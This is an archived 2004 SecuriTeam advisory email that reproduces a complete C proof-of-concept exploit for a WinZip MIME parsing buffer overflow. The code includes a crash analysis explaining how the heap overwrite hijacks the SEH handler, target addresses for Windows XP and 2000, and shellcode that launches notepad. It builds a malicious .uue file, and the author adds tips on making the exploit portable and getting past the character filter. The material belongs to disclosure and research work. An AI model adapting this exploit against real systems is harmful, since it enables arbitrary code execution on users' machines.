[EXPL] WinZip MIME Parsing Buffer Overflow Exploit
From: SecuriTeam (support_at_securiteam.com)
Date: 04/18/04
- Previous message: SecuriTeam: "[NT] DoS Vulnerability in Microsoft Windows SPNEGO Protocol Decoding (MS04-011)"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 18 Apr 2004 12:37:09 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
WinZip MIME Parsing Buffer Overflow Exploit
------------------------------------------------------------------------
SUMMARY
As we reported in our previous article:
<http://www.securiteam.com/windowsntfocus/5KP040ACAC.html> WinZip MIME
Parsing Buffer Overflow, a vulnerability in WinZip allows an attacker to
cause the program to execute arbitrary code by overflowing an internal
buffer in the WinZip program.
DETAILS
Exploit:
/*
* Author: snooq
* Date: 14 April 2004
*
* This is a PoC exploit for WinZip32 MIME Parsing Overflow
* bug reported by iDefense on 27 February 2004.
*
* The original advisory is found here:
* http://www.idefense.com/application/poi/display?id=76
*
* This version is SP dependent becoz my idiotic shellcode
* uses hardcoded addresses.... =p
*
* So, test it locally only. Afterall, it's just a PoC rite?
* Nonetheless, it's possible to make it more portable by
* using a universal shellcode...
*
* but beware... chars like <>,.:;'"=[]\/ are filtered...
* so feel free to XOR it.. =p
*
* Notes
* =====
* 1) Tested against WinZip 8.1 on WinXP SP1, Win2K SP1 only
*
* 2) You need to first launch WinZip before you 'Open'
*
* 3) Double clicking the 'uue' won't work
* why so? go figure it out urself... =p
* once u know why... u'd then know how to fix it...
*
* Greetz
* ======
* # eugene, nam, jf, valmont and the rest..
* # sk, shashank + Security_Auditors folks...
* # iDefense folks... SiG^2 guys etc...
* # lastly.. Greg Hoglund for his 'Cross Page' stuffs... =p
*/
/*
* A snapshot of the 'crash'
* =========================
*
* Our buffer on the heap looks like this:
*
* [....AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEEEEEEEEEEEEEEE....]
* |--- heap grows this way --------->
*
*
* and the CPU is about to execute the following code:
*
* 0049BFFC |> 8B4C13 08 MOV ECX,DWORD PTR DS:[EBX+EDX+8]
* 0049C000 |. 8B7C13 04 MOV EDI,DWORD PTR DS:[EBX+EDX+4]
* 0049C004 |. 8979 04 MOV DWORD PTR DS:[ECX+4],EDI
* 0049C007 |. 8B4C13 04 MOV ECX,DWORD PTR DS:[EBX+EDX+4]
* 0049C00B |. 8B7C13 08 MOV EDI,DWORD PTR DS:[EBX+EDX+8]
* 0049C00F |. 035D F8 ADD EBX,DWORD PTR SS:[EBP-8]
* 0049C012 |. 8979 08 MOV DWORD PTR DS:[ECX+8],EDI
* 0049C015 |. 895D F4 MOV DWORD PTR SS:[EBP-C],EBX
*
* and, EBX register seems to be under our control... =p
*
* EDX = ptr to 'DDDD'
* EBX = 'DDDD' - 1
*
* By carefully choosing a value for EBX, we are able to manipulate
* ECX at 0049BFFC and EDI at 0049C000.
*
* If we set 'DDDD'=0xfffffff5 (-11),
*
* -> EBX would be '0xfffffff4' (-12)
* -> [EBX+EDX+8] becomes [EDX-4] and ECX = 'CCCC'
* -> [EBX+EDX+4] becomes [EDX-8] and EDI = 'BBBB'
*
* Effectively at 0049C004, we can write a DWORD 'BBBB' to ['CCCC'+4]
* After that.....
*
* -> [EBX+EDX+4] becomes [EDX-8] and ECX = 'BBBB'
* -> [EBX+EDX+8] becomes [EDX-4] and EDI = 'CCCC'
*
* Finally we reach MOV DWORD PTR DS:['BBBB'+8],'CCCC' at 0049C012..
*
* Choosing the rite values for 'BBBB' + 'CCCC', execution flow could
* be reliably diverted into our shellcode.
*
* In this exploit, I've chosen to install our code as the main thread's
* top exception handler so that when exception is triggered at 0049C012,
* our code will be called to 'handle' it... =p
*
* This is how I did it but I'm not sure if this is the best way.
* If you know of any other better way to exploit this.....
* pleaseeeeee tell me....... :)
*
*/
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
#define TARGET 1
#define NOP 0x90
/*
* Gap for NOPs (not really needed)
*/
#define PAD 0
/*
* This 'RANGE' nonsense was useful
* in locating the 'index', i.e. 'DDDD'
*/
#define RANGE 1*4
/*
* Where we control the 'index',
* i.e EBX register's value
*/
#define IDXOFF 268-RANGE+4
/*
* We find our 'where' + 'what' here...
*/
#define OFFSET IDXOFF-8
/*
* -12 bytes from 'index' into where
* 'where'+'what' are...
*/
#define INDEX 0xfffffff5
#define BSIZE 1024
#define FNAME "snooq.uue"
#define SSIZE sizeof(shellcode)-1
#define HSIZE sizeof(header)-1
char buff[BSIZE];
long where, what;
struct {
char *os;
long topSEH;
long jmpADD;
}
targets[] = {
{
"Window XP (en) SP1",
0x7ffddffe, // Per Thread Top SEH - 2
0xf27cffff // [this address + 4] -> shellcode
},
{
"Window 2000 (en) SP1",
0x7ffddffe, // Per Thread Top SEH - 2
0xf354ffff // [this address + 4] -> shellcode
},
}, v;
/*
* Harmless payload that spawns 'notepad.exe'... =p
*/
char shellcode[]=
"\x55" // push ebp
"\x8b\xec" // mov ebp, esp
"\x33\xf6" // xor esi, esi
"\x56" // push esi
"\x68\x2e\x65\x78\x65" // push 'exe.'
"\x68\x65\x70\x61\x64" // push 'dape'
"\x68\x90\x6e\x6f\x74" // push 'ton'
"\x46" // inc esi
"\x56" // push esi
"\x8d\x7d\xf1" // lea edi, [ebp-0xf]
"\x57" // push edi
"\xb8XXXX" // mov eax, XXXX -> WinExec()
"\xff\xd0" // call eax
"\x4e" // dec esi
"\x56" // push esi
"\xb8YYYY" // mov eax, YYYY -> ExitProcess()
"\xff\xd0"; // call eax
char header[]="Content-Type: multipart/mixed; boundary=";
void err_exit(char *s)
{
printf("%s\n",s);
exit(0);
}
void filladdr()
{
char *ptr;
int i=0, index=INDEX, idxoff=IDXOFF;
long addr1=(long)WinExec;
long addr2=(long)ExitProcess;
printf("-> WinExec() is at: 0x%08x\n",addr1);
printf("-> ExitProcess() is at: 0x%08x\n",addr2);
ptr=shellcode;
while (*ptr!='\0') {
if (*((long *)ptr)==0x58585858) {
printf("-> Filling in WinExec at offset: %d\n",(ptr-shellcode));
*((long *)ptr)=addr1;
}
if (*((long *)ptr)==0x59595959) {
printf("-> Filling in ExitProcess at offset: %d\n",(ptr-shellcode));
*((long *)ptr)=addr2;
}
ptr++;
}
ptr=buff+HSIZE+OFFSET;
printf("-> 'what' == 0x%08x at offset %d\n",what,OFFSET);
*((long *)ptr)=what;
ptr+=4;
printf("-> 'where' == 0x%08x at offset %d\n",where,OFFSET+4);
*((long *)ptr)=where-4;
ptr=buff+HSIZE+idxoff;
for (;i<RANGE;i+=4) {
printf("-> 'index' == 0x%08x at offset %d\n",index-i,idxoff+i);
*((long *)(ptr+i))=index-i;
}
}
void buildfile()
{
int i=0;
FILE *fd;
if ((fd=fopen(FNAME,"w"))==NULL) {
err_exit("-> Failed to generate file...");
}
for(;i<sizeof(buff);) {
fprintf(fd,"%c",buff[i++]);
}
fclose(fd);
printf("-> '%s' generated....\n",FNAME);
}
int main(int argc, char *argv[])
{
int i=0, t=TARGET;
if (argc==2) { t=atoi(argv[1]); }
where=targets[t-1].topSEH;
what=targets[t-1].jmpADD;
printf("\nWinZip32 MIME Parsing Overflow PoC, By Snooq
[jinyean@hotmail.com]\n\n");
memset(buff,NOP,BSIZE);
printf("-> Generating 'uue' file for target #%d...\n",t);
memcpy(buff,header,HSIZE);
filladdr();
memcpy(buff+HSIZE+IDXOFF+4+PAD,shellcode,SSIZE);
buildfile();
return 0;
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:jinyean@hotmail.com> Snooq.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[NT] DoS Vulnerability in Microsoft Windows SPNEGO Protocol Decoding (MS04-011)"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|